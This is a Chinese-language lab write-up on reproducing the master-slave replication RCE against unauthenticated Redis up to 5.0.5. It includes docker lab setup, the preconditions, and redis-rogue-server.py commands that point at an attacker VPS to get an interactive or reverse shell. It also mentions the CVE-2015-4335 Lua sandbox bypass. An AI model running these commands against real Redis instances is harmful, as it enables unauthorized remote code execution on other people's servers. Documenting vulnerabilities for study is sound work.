# Redis <= 5.0.5
 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443

redis-rogue-server_poison.zip

一、前言

环境搭建

使用docker搭建好环境

docker pull damonevking/redis5.0 
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

正常使用主从功能

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

假设Redis-1是在63791端口,Redis-2在63792端口,

我们让Redis-1当老大(Master),那么就在Redis-2上配置SLAVEOF [redis_ip] 63791即可

正常情况下,主节点能读能写;从节点作为“打工人”,自己只能读数据(主节点同步过来的),不能写数据。

二、漏洞复现****

漏洞利用的前提

  • Redis <= 5.0.5
  • Redis服务未授权访问(bind 由127.0.0.1 改为0.0.0.0protected-modeno

具体步骤

具体实现上,有两种大同小异的姿势,分别如下:

**第一种方式,**使用https://github.com/n0b0dyCN/redis-rogue-server里面的脚本(不建议,反弹shell容易把环境搞崩

直接指定漏洞地址即可。

有交互式的shell,或是反弹shell两种选择,

交互式的shell

反弹shell

值得指出的是,由于反弹shell的过程是阻塞的,猜测这个过程中Redis应该不能去做其它事情。

而且反弹shell这种利用方式真的不稳定,把Redis的docker搞崩了好多次。。。对应的代码在下面


第二种方式呢,采用https://github.com/LoRexxar/redis-rogue-server里面的脚本(建议,单纯的执行命令)

一样的命令

python redis-rogue-server.py --rhost [redis_ip] --rport=6379 --lhost [your_vps_ip] --lport 21000

值得注意的是,上面的这两种攻击方式,除了可以正常执行命令之外,还会在redis上定义了一个恶意函数system.exec,我们连接到Redis上就能直接用,见下图的效果

所以,如果你只是单纯地想验证漏洞,只用interactive shell就好啊。


三、SSRF场景下的主从RCE[ToDo]

等遇到对应的场景,再更新啦

  • 要是Redis有密码时,该怎么办?
  • 主从写webshell

TODO:https://xz.aliyun.com/t/8613

https://xz.aliyun.com/t/5665#toc-3

四、拓展阅读

Redis未授权的攻击面

()CVE-2015-4335:Redis EVAL Lua Sandbox Security Bypass Vulnerability

  • Redis < 2.8.21
  • Redis < 3.0.2

i.e. Redis 2.8.21 and 3.0.2 have been released to fix this issue.

Refs

Build

docker pull redis:3.0.1
docker run -p 6379:6379 --name redis_3.0.1 redis:3.0.1

EXP

五、Q&A

遇到的问题,记录在这里

为什么执行config失败了

可能因为Redis禁用了命令,see https://blog.csdn.net/elesos/article/details/81280291

运行在Unix Socket下的Redis

  • 其实,对于linux系统,如果redis客户端和服务端都在同一台服务器,可以使用 unix socket ,不需要走TCP监听网络端口,使用后效果非常明显——用unixSocket的方式,速度至少提高一半。
  • 连接到Unix套接字上的Redis服务器的正确URL语法是unix:///tmp/redis.sock

在官方文档中,有这么一段话

To use a UNIX socket instead, open up the file /etc/redis.conf and locate the line mentioning unixsocket. Replace it with the following:

在Redis的配置文件里配置就行啦。

连接方式:

redis-cli -s /tmp/redis.sock

运行在unix socket模式下的Redis,暂时还没有找到SSRF可以攻击的方案。(除非用类似于fopen这种句柄的方式来SSRF才有可能)

Refs

此外,了解一下洞主,不玩推的独立安全研究员。(慕了慕了)